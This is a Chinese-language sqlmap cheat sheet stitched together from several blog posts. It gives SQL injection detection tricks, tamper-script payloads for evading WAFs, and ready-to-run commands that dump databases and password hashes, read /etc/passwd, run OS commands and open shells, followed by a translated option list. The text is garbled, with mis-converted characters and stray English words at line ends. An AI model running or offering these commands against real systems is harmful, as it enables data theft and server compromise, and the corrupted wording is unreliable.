TIP1php
當咱們注射的時候,判斷注入mysql
http://site/script?id=10
http://site/script?id=11-1 # 至關於 id=10
http://site/script?id=(select 10) # 至關於 id=10web
http://site/script?id=10 and 1=1 #失敗正則表達式
經過判斷可發現and和or被過濾
http://site/script?id=10– # 失敗
http://site/script?id=10;– #失敗
http://site/script?id=10);– #失敗
http://site/script?id=10)subquery;– #失敗sql
你能夠用burp的intruder的字典跑,可是仍然失敗。shell
這裏能夠用到SQL語句的case when …then … else … end語句
CASE WHEN語句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型數據庫都受到支持,是標準的SQL語句。
能夠這樣子理解:CASE… WHEN… THEN …ELSE …END數據庫
CASE WHEN 語法有兩種狀況:
(1) 第一種是CASE 後面不帶表達式的;express
CASE WHEN expression THEN 操做1後端
WHEN expression THEN 操做2瀏覽器
.......
ELSE 操做n
END
(2) 第二種是CASE 後面帶表達式的(而此時WHEN 後面的則是該表達式可能的值),通用。
CASE expression
WHEN expression值1 THEN 操做1
WHEN expression值2 THEN 操做2
.......
ELSE 操做n
END
http://host/script?id=11-(case when 1=1 then 1 else 0 end)
用1=1跟1=2測試
http://host/script?id=10 # 當條件爲真的時候
http://host/script?id=11 # 當條件爲假的時候
能夠很明顯的看到返回不一樣,而後能夠判斷注入。那麼怎麼能讓sqlmap去識別呢?
Sqlmap默認是本身尋找注入點的,可是你加上一個*,能夠引導他。
語句
sqlmap.py -u http://host/script?id=11-(case when 1=1星號 then 1)
注入最頭痛的就是遇到過濾,sqlmap提供了字符轉換的功能
「–tamper=between」固然本身能夠改寫轉換內容,文件在/tamper目錄下。
關於post注入 sqlmap能夠用-r參數 加載數據包
sqlmap.py -r post.txt
繼續補充一點: having xor等邏輯符號也能夠判斷注入。
TIP2
(1) POST注入
有兩種方法來進行post注入,一種是使用--data參數,將post的key和value用相似GET方式來提交。二是使用-r參數,sqlmap讀取用戶抓到的POST請求包,來進行POST注入檢測。
(2) 查看payload
以前一直是加本地代理,而後用burpsuit來看sqlmap的payload,到如今才發現用-v參數就能夠實現。一直認爲-v實現的只是控制警告,debug信息級別。實際上使用-v 3就能夠顯示注入的payload,4,5,6還能夠顯示HTTP請求,HTTP響應頭和頁面。
(3) 使用google搜索
sqlmap能夠測試google搜索結果中的sql注入,很強大的功能吧。使用方法是參數-g。不過感受實際使用中這個用的仍是不多的。
(4) 請求延時
在注入過程當中請求太頻繁的話可能會被防火牆攔截,這時候--delay參數就起做用了。能夠設定兩次HTTP請求間的延時。有的web程序會在屢次錯誤訪問後屏蔽全部請求,這樣就致使以後全部的測試沒法進行,繞過這個策略可使用--safe-url,每隔一段時間去訪問一個正常的頁面。
(5) 僞靜態頁面
有些web服務器進行了url rewrite或者網站是僞靜態的,沒法直接提供測試參數,這樣子可使用*來代替要測試的參數。
(6) 執行系統命令
當數據庫支持,而且當前用戶有權限的時候,能夠執行系統命令,使用--os-cmd或者--os-shell,具體的講,當能夠執行多語句的時候,會嘗試用UDF(MySQL,PostgrepSQL)或者xp_cmdshell(MSSQL)來執行系統命令。不能執行多語句時,仍然會嘗試建立一個webshell來執行語句,這時候就須要web的絕對路徑了。整體來講,成功率偏低,不過我的也有成功的經驗~
(7) 測試等級
sqlmap使用--level參數來進行不一樣全面性的測試,默認爲1,不一樣的參數影響了使用哪些payload,2時會進行cookie注入檢測,3時會進行useragent檢測。
-------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------
經常使用參數:
(1)判斷當前用戶是不是dba: ./sqlmap.py -u "url" --is-dba -v 1
(2)列出數據庫管理系統用戶:./sqlmap.py -u "url" --users -v 0
(3)數據庫用戶密碼(hash):
./sqlmap.py -u "url" --passwords -v 0
./sqlmap.py -u "url" --passwords -U sa -v 0
(4)查看用戶權限:
./sqlmap.py -u "url" --privileges -v 0
./sqlmap.py -u "url" --privileges -U postgres -v 0
(5)列出數據庫:
./sqlmap.py -u "url" --dbs -v 0
(6)列出數據庫表:
./sqlmap.py -u "url" --tables -D "information_scheam"
(7)列出表中的列名:
./sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
(8)列出指定列的內容:
./sqlmap.py -u "url" --dump -T "users" -D "testdb" -C 「指定字段」
指定範圍:
./sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
(9)列出全部數據庫,全部表內容:
./sqlmap.py -u "url" --dump-all -v 0
只列出用戶本身新建的數據庫和表的內容:
./sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
(10)讀取文件內容[load_file(函數)]:
./sqlmap.py -u "url" --file /etc/password
(11)執行SQL:
./sqlmap.py -u "url" --sql-shell
(12)指定參數:
./sqlmap.py -u "url" -p "id" -v 1
(13)POST提交:
./sqlmap.py -u "url" --method POST --data "id=1"
(14)COOKIE提交:
./sqlmap.py -u "url" --cookie "id=1" -v 1
(15)refer欺騙:
./sqlmap.py -u "url" --refer "url" -v 3
(16)使用自定義user-agent或者user-agents.txt:
./sqlmap.py -u "url" --user-agent "Mozilla/4.0(compatible;MSIE 7.0;Windows NT5.1)" -v 3
./sqlmap.py -u "url" -a "./txt/user-agents.txt" -v 1
(17)使用多線程猜解:
./sqlmap.py -u "url" --current-user --threads 3 -v 1
(18)指定數據庫,繞過salmap自動檢測:
./sqlmap.py -u "url" --dbms "PostgreSQL" -v 2
(19)指定操做系統:
./sqlmap.py -u "url" --os "Windows" -v 2
(20)自動義payload:
./sqlmap.py -u "url" -p "id" --prefix " ' " --postfix "and 'test' = 'test "
(21)union注入測試:
./sqlmap.py -u "url" --union-test -v 1
(22)配合order by:
./sqlmap.py -u "url" --union-test --union-tech orderby -v 1
(23) ./sqlmap.py -u "url" --union-use --banner -v 1
./sqlmap.py -u "url" --union-use --current-user -v 5
./sqlmap.py -u "url" --union-use --dbs -v 1
========================================================================
========================================================================
1. 基礎用法:
./sqlmap.py -u 「注入地址」 -v 1 –dbs // 列舉數據庫
./sqlmap.py -u 「注入地址」 -v 1 –current-db // 當前數據庫
./sqlmap.py -u 「注入地址」 -v 1 –users // 列數據庫用戶
./sqlmap.py -u 「注入地址」 -v 1 –current-user // 當前用戶
./sqlmap.py -u 「注入地址」 -v 1 –tables -D 「數據庫」 // 列舉數據庫的表名
./sqlmap.py -u 「注入地址」 -v 1 –columns -T 「表名」 -D 「數據庫」 // 獲取表的列名
./sqlmap.py -u 「注入地址」 -v 1 –dump -C 「字段,字段」 -T 「表名」 -D 「數據庫」 // 獲取表中的數據,包含列
已經開始拖庫了,SQLMAP是很是人性化的,它會將獲取的數據存儲sqlmap/output/中
2. sqlmap post注入
咱們在使用Sqlmap進行post型注入時,
常常會出現請求遺漏致使注入失敗的狀況。
這裏分享一個小技巧,即結合burpsuite來使用sqlmap,
用這種方法進行post注入測試會更準確,操做起來也很是容易。
1. 瀏覽器打開目標地址http:// www.2cto.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以攔截請求
3. 點擊login表單的submit按鈕
4. 以下圖,這時候Burp會攔截到了咱們的登陸POST請求
5. 把這個post請求複製爲txt, 我這命名爲search-test.txt 而後把它放至sqlmap目錄下
6. 運行sqlmap並使用以下命令:
./sqlmap.py -r search-test.txt -p tfUPass
這裏參數-r 是讓sqlmap加載咱們的post請求rsearch-test.txt,
而-p 你們應該比較熟悉,指定注入用的參數。
3.sqlmap cookies注入
sqlmap.py -u 「http://127.0.0.1/base.php」 –cookies 「id=1″ –dbs –level 2
默認狀況下SQLMAP只支持GET/POST參數的注入測試,可是當使用–level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候將檢查User-agent和Referer,那麼這就很簡單了,我 們直接在原有的基礎上面加上 –level 2 便可
利用sqlmap cookies注入突破用戶登陸繼續注入
先把用戶登錄的cookie拿到吧,
在收藏夾添加一個連接cookies屬性:
名字本身取
JavaScript:alert(document.cookie),,須要獲取當前cookie的時候,
直接點一下這個連接,而後複製一下彈出對話框
裏的cookie值就搞定了
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=」info=username=test」
-p是指指定參數注入
4. sqlmap遇到url重寫的注入
哪裏存在注入就加上 * 號
./sqlmap.py -u 「http://www.cunlide.com/id1/1*/id2/2「
5.sqlmap 編碼繞waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms 「MySQL」 –technique U -p id –batch –tamper 「space2morehash.py」
在sqlmap 的 tamper目錄下有不少space2morehash.py 編碼腳本自行加載
6.結合burp批量注入用法
(1) -l 從Burp或WebScarab代理的日誌中解析目標
a)利用burp代理,轉到history選項卡,選中數據包右鍵-->save items,保存文檔a.txt
b)./sqlmap.py --batch -l a.txt(便可批量注入,--batch)
(2)-m 批量注入url鏈接文件
a)利用burp代理,轉到history選項卡,選中數據包右鍵-->copy URLs,保存文檔b.txt
b)./sqlmap.py --batch -m b.txt
----------------------------------------------------------------------------
----------------------------------------------------------------------------
sqlmap -u 「 –smart –dbms 「Mysql」 –users #列數據庫用戶
sqlmap -u 「 –smart –dbms 「Mysql」 –dbs#列數據庫
sqlmap -u 「 –smart –dbms 「Mysql」–passwords #數據庫用戶密碼
sqlmap -u 「 –smart –dbms 「Mysql」–passwords-U root -v 0 #列出指定用戶數據庫密碼
sqlmap -u 「 –smart –dbms 「Mysql」 –dump-all -v 0 #列出全部數據庫全部表
sqlmap -u 「 –smart –dbms 「Mysql」–privileges #查看權限
sqlmap -u 「 –smart –dbms 「Mysql」–privileges -U root #查看指定用戶權限
sqlmap -u 「 –smart –dbms 「Mysql」 –is-dba -v 1 #是不是數據庫管理員
sqlmap -u 「 –smart –dbms 「Mysql」 –roles #枚舉數據庫用戶角色
sqlmap -u 「 –smart –dbms 「Mysql」–udf-inject #導入用戶自定義函數(獲取系統權限!)
sqlmap -u 「 –smart –dbms 「Mysql」–dump-all –exclude-sysdbs -v 0 #列出當前庫全部表
sqlmap -u 「 –smart –dbms 「Mysql」 –union-check #是否支持union 注入
sqlmap -u 「 –smart –dbms 「Mysql」–union-cols #union 查詢表記錄
sqlmap -u 「 –smart –dbms 「Mysql」 –union-test #union 語句測試
sqlmap -u 「 –smart –dbms 「Mysql」 –union-use –banner #採用union 注入
sqlmap -u 「 –smart –dbms 「Mysql」–union-test –union-tech orderby #union 配合 order by
sqlmap -u 「 –smart –dbms 「Mysql」–method 「POST」 — data 「id=1&cat=2″ #post注入
sqlmap -u 「 –smart –dbms 「Mysql」–cookie 「COOKIE_VALUE」 #cookie注入
sqlmap -u 「 –smart –dbms 「Mysql」-b #獲取banner信息
sqlmap -u 「http://url/news?id=1″–string」STRING_ON_TRUE_PAGE「 #指定關鍵詞
sqlmap -u 「 –smart –dbms 「Mysql」–sql-shell #執行指定sql命令
sqlmap -u 「 –smart –dbms 「Mysql」–file /etc/passwd
sqlmap -u 「 –smart –dbms 「Mysql」–os-cmd=whoami #執行系統命令
sqlmap -u 「 –smart –dbms 「Mysql」–os-shell #系統交互shell
sqlmap -u 「 –smart –dbms 「Mysql」–os-pwn #反彈
shell sqlmap -u 「 –smart –dbms 「Mysql」–reg-read #讀取win系統註冊表
sqlmap -u 「 –smart –dbms 「Mysql」 –dbs-o 「sqlmap.log」 #保存進度
sqlmap -u 「 –smart –dbms 「Mysql」 –dbs -o 「sqlmap.log」 –resume #恢復已保存進度
======================================================================================
======================================================================================
首先這個文章我是轉來的
http://www.chuhades.com/post/19590b_4cc51f
確實很實用,就當記錄一下吧,方便往後查詢。
(1) apostrophemask.py UTF-8編碼
Example:
* Input: AND '1'='1'
* Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87
(2) apostrophenullencode.py unicode編碼
Example:
* Input: AND '1'='1'
* Output: AND %00%271%00%27=%00%271%00%27
(3) appendnullbyte.py 添加%00
Example:
* Input: AND 1=1
* Output: AND 1=1%00
Requirement:
* Microsoft Access
(4) base64encode.py base64編碼
Example:
* Input: 1' AND SLEEP(5)#
* Output: MScgQU5EIFNMRUVQKDUpIw==
(5) between.py 以」not between」替換」>「
Example:
* Input: 'A > B'
* Output: 'A NOT BETWEEN 0 AND B'
(6) bluecoat.py 以隨機的空白字符替代空格,以」like」替代」=「
Example:
* Input: SELECT id FROM users where id = 1
* Output: SELECT%09id FROM users where id LIKE 1
Requirement:
* MySQL 5.1, SGOS
(7) chardoubleencode.py 雙重url編碼
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
(8) charencode.py url編碼
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
(9) charunicodeencode.py 對未進行url編碼的字符進行unicode編碼
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Requirement:
* ASP
* ASP.NET
(10) equaltolike.py 以」like」替代」=「
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
(11) halfversionedmorekeywords.py在每一個關鍵字前添加條件註釋
Example:
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Requirement:
* MySQL < 5.1
(12) ifnull2ifisnull.py 以」IF(ISNULL(A), B, A)」替換」IFNULL(A, B)」
Example:
* Input: IFNULL(1, 2)
* Output: IF(ISNULL(1), 2, 1)
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
(13) modsecurityversioned.py 條件註釋
Example:
* Input: 1 AND 2>1--
* Output: 1 /*!30000AND 2>1*/--
Requirement:
* MySQL
(14) modsecurityzeroversioned.py 條件註釋,0000
Example:
* Input: 1 AND 2>1--
* Output: 1 /*!00000AND 2>1*/--
Requirement:
* MySQL
(15) multiplespaces.py 添加多個空格
Example:
* Input: UNION SELECT
* Output: UNION SELECT
(16) nonrecursivereplacement.py 能夠繞過對關鍵字刪除的防注入(這個我也不知道怎麼說好,看例子。。。)
Example:
* Input: 1 UNION SELECT 2--
* Output: 1 UNUNIONION SELSELECTECT 2--
(17) percentage.py 在每一個字符前添加百分號(%)
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
(18) randomcase.py 隨即大小寫
Example:
* Input: INSERT
* Output: InsERt
(19) randomcomments.py 隨機插入區塊註釋
Example:
'INSERT' becomes 'IN/**/S/**/ERT'
securesphere.py 語句結尾添加」真」字符串
Example:
* Input: AND 1=1
* Output: AND 1=1 and '0having'='0having'
(20) sp_password.py 語句結尾添加」sp_password」迷惑數據庫日誌(很。。。)
Example: www.2cto.com
* Input: 1 AND 9227=9227--
* Output: 1 AND 9227=9227--sp_password
Requirement:
* MSSQL
(21) space2comment.py 以區塊註釋替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT/**/id/**/FROM/**/users
(22) space2dash.py 以單行註釋」--」和隨機的新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Requirement:
* MSSQL
* SQLite
(23) space2hash.py 以單行註釋」#」和由隨機字符組成的新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
(24) space2morehash.py 沒看出來和上面那個有什麼區別。。
Requirement:
* MySQL >= 5.1.13
(25) space2mssqlblank.py 以隨機空白字符替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server
(26) space2mssqlhash.py 以單行註釋」#」和新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1%23%0A9227=9227
Requirement:
* MSSQL
* MySQL
(27) space2mysqlblank.py 以隨機空白字符替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
Requirement:
* MySQL
(28) space2mysqldash.py 以單行註釋和新行替換空格
Example:
* Input: 1 AND 9227=9227
* Output: 1--%0AAND--%0A9227=9227
Requirement:
* MySQL
* MSSQL
(29) space2plus.py 以」+」替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT+id+FROM+users
(30) space2randomblank.py 隨機空白字符替換空格
Example:
* Input: SELECT id FROM users
* Output: SELECT\rid\tFROM\nusers
(31) unionalltounion.py 以」union all」替換」union」
Example:
* Input: -1 UNION ALL SELECT
* Output: -1 UNION SELECT
(32) unmagicquotes.py 以」%bf%27」替換單引號,並在結尾添加註釋」--」
Example:
* Input: 1' AND 1=1
* Output: 1%bf%27 AND 1=1--%20
(33)versionedkeywords.py 對不是函數的關鍵字條件註釋
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
(34) versionedmorekeywords.py 對關鍵字條件註釋
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------
SQLMAP參數詳解
#HiRoot's Blog
Options(選項):
--version 顯示程序的版本號並退出
-h, --help 顯示此幫助消息並退出
-v VERBOSE 詳細級別:0-6(默認爲1)
Target(目標):
如下至少須要設置其中一個選項,設置目標URL。
-d DIRECT 直接鏈接到數據庫。
-u URL, --url=URL 目標URL。
-l LIST 從Burp或WebScarab代理的日誌中解析目標。
-r REQUESTFILE 從一個文件中載入HTTP請求。
-g GOOGLEDORK 處理Google dork的結果做爲目標URL。
-c CONFIGFILE 從INI配置文件中加載選項。
Request(請求):
這些選項能夠用來指定如何鏈接到目標URL。
--data=DATA 經過POST發送的數據字符串
--cookie=COOKIE HTTP Cookie頭
--cookie-urlencode URL 編碼生成的cookie注入
--drop-set-cookie 忽略響應的Set - Cookie頭信息
--user-agent=AGENT 指定 HTTP User - Agent頭
--random-agent 使用隨機選定的HTTP User - Agent頭
--referer=REFERER 指定 HTTP Referer頭
--headers=HEADERS 換行分開,加入其餘的HTTP頭
--auth-type=ATYPE HTTP身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)
--auth-cred=ACRED HTTP身份驗證憑據(用戶名:密碼)
--auth-cert=ACERT HTTP認證證書(key_file,cert_file)
--proxy=PROXY 使用HTTP代理鏈接到目標URL
--proxy-cred=PCRED HTTP代理身份驗證憑據(用戶名:密碼)
--ignore-proxy 忽略系統默認的HTTP代理
--delay=DELAY 在每一個HTTP請求之間的延遲時間,單位爲秒
--timeout=TIMEOUT 等待鏈接超時的時間(默認爲30秒)
--retries=RETRIES 鏈接超時後從新鏈接的時間(默認3)
--scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表達式
--safe-url=SAFURL 在測試過程當中常常訪問的url地址
--safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL
Optimization(優化):
這些選項可用於優化SqlMap的性能。
-o 開啓全部優化開關
--predict-output 預測常見的查詢輸出
--keep-alive 使用持久的HTTP(S)鏈接
--null-connection 從沒有實際的HTTP響應體中檢索頁面長度
--threads=THREADS 最大的HTTP(S)請求併發量(默認爲1)
Injection(注入):
這些選項能夠用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。
-p TESTPARAMETER 可測試的參數(S)
--dbms=DBMS 強制後端的DBMS爲此值
--os=OS 強制後端的DBMS操做系統爲這個值
--prefix=PREFIX 注入payload字符串前綴
--suffix=SUFFIX 注入payload字符串後綴
--tamper=TAMPER 使用給定的腳本(S)篡改注入數據
Detection(檢測):
這些選項能夠用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。
--level=LEVEL 執行測試的等級(1-5,默認爲1)
--risk=RISK 執行測試的風險(0-3,默認爲1)
--string=STRING 查詢時有效時在頁面匹配字符串
--regexp=REGEXP 查詢時有效時在頁面匹配正則表達式
--text-only 僅基於在文本內容比較網頁
Techniques(技巧):
這些選項可用於調整具體的SQL注入測試。
--technique=TECH SQL注入技術測試(默認BEUST)
--time-sec=TIMESEC DBMS響應的延遲時間(默認爲5秒)
--union-cols=UCOLS 定列範圍用於測試UNION查詢注入
--union-char=UCHAR 用於暴力猜解列數的字符
Fingerprint(指紋):
-f, --fingerprint 執行檢查普遍的DBMS版本指紋
Enumeration(枚舉):
這些選項能夠用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還能夠運行您本身
的SQL語句。
-b, --banner 檢索數據庫管理系統的標識
--current-user 檢索數據庫管理系統當前用戶
--current-db 檢索數據庫管理系統當前數據庫
--is-dba 檢測DBMS當前用戶是否DBA
--users 枚舉數據庫管理系統用戶
--passwords 枚舉數據庫管理系統用戶密碼哈希
--privileges 枚舉數據庫管理系統用戶的權限
--roles 枚舉數據庫管理系統用戶的角色
--dbs 枚舉數據庫管理系統數據庫
--tables 枚舉的DBMS數據庫中的表
--columns 枚舉DBMS數據庫表列
--dump 轉儲數據庫管理系統的數據庫中的表項
--dump-all 轉儲全部的DBMS數據庫表中的條目
--search 搜索列(S),表(S)和/或數據庫名稱(S)
-D DB 要進行枚舉的數據庫名
-T TBL 要進行枚舉的數據庫表
-C COL 要進行枚舉的數據庫列
-U USER 用來進行枚舉的數據庫用戶
--exclude-sysdbs 枚舉表時排除系統數據庫
--start=LIMITSTART 第一個查詢輸出進入檢索
--stop=LIMITSTOP 最後查詢的輸出進入檢索
--first=FIRSTCHAR 第一個查詢輸出字的字符檢索
--last=LASTCHAR 最後查詢的輸出字字符檢索
--sql-query=QUERY 要執行的SQL語句
--sql-shell 提示交互式SQL的shell
Brute force(蠻力):
這些選項能夠被用來運行蠻力檢查。
--common-tables 檢查存在共同表
--common-columns 檢查存在共同列
User-defined function injection(用戶自定義函數注入):
這些選項能夠用來建立用戶自定義函數。
--udf-inject 注入用戶自定義函數
--shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統):
這些選項能夠被用來訪問後端數據庫管理系統的底層文件系統。
--file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件
--file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件
--file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑
Operating system access(操做系統訪問):
這些選項能夠用於訪問後端數據庫管理系統的底層操做系統。
--os-cmd=OSCMD 執行操做系統命令
--os-shell 交互式的操做系統的shell
--os-pwn 獲取一個OOB shell,meterpreter或VNC
--os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC
--os-bof 存儲過程緩衝區溢出利用
--priv-esc 數據庫進程用戶權限提高
--msf-path=MSFPATH Metasploit Framework本地的安裝路徑
--tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
Windows註冊表訪問:
這些選項能夠被用來訪問後端數據庫管理系統Windows註冊表。
--reg-read 讀一個Windows註冊表項值
--reg-add 寫一個Windows註冊表項值數據
--reg-del 刪除Windows註冊表鍵值
--reg-key=REGKEY Windows註冊表鍵
--reg-value=REGVAL Windows註冊表項值
--reg-data=REGDATA Windows註冊表鍵值數據
--reg-type=REGTYPE Windows註冊表項值類型
General(通常):
這些選項能夠用來設置一些通常的工做參數。
-t TRAFFICFILE 記錄全部HTTP流量到一個文本文件中
-s SESSIONFILE 保存和恢復檢索會話文件的全部數據
--flush-session 刷新當前目標的會話文件
--fresh-queries 忽略在會話文件中存儲的查詢結果
--eta 顯示每一個輸出的預計到達時間
--update 更新SqlMap
--save file保存選項到INI配置文件
--batch 從不詢問用戶輸入,使用全部默認配置。
Miscellaneous(雜項):
--beep 發現SQL注入時提醒
--check-payload IDS對注入payloads的檢測測試
--cleanup SqlMap具體的UDF和表清理DBMS
--forms 對目標URL的解析和測試形式
--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果
--page-rank Google dork結果顯示網頁排名(PR)
--parse-errors 從響應頁面解析數據庫管理系統的錯誤消息
--replicate 複製轉儲的數據到一個sqlite3數據庫
--tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址
--wizard 給初級用戶的簡單向導界面
//--http://blog.csdn.net/ghosttzs--//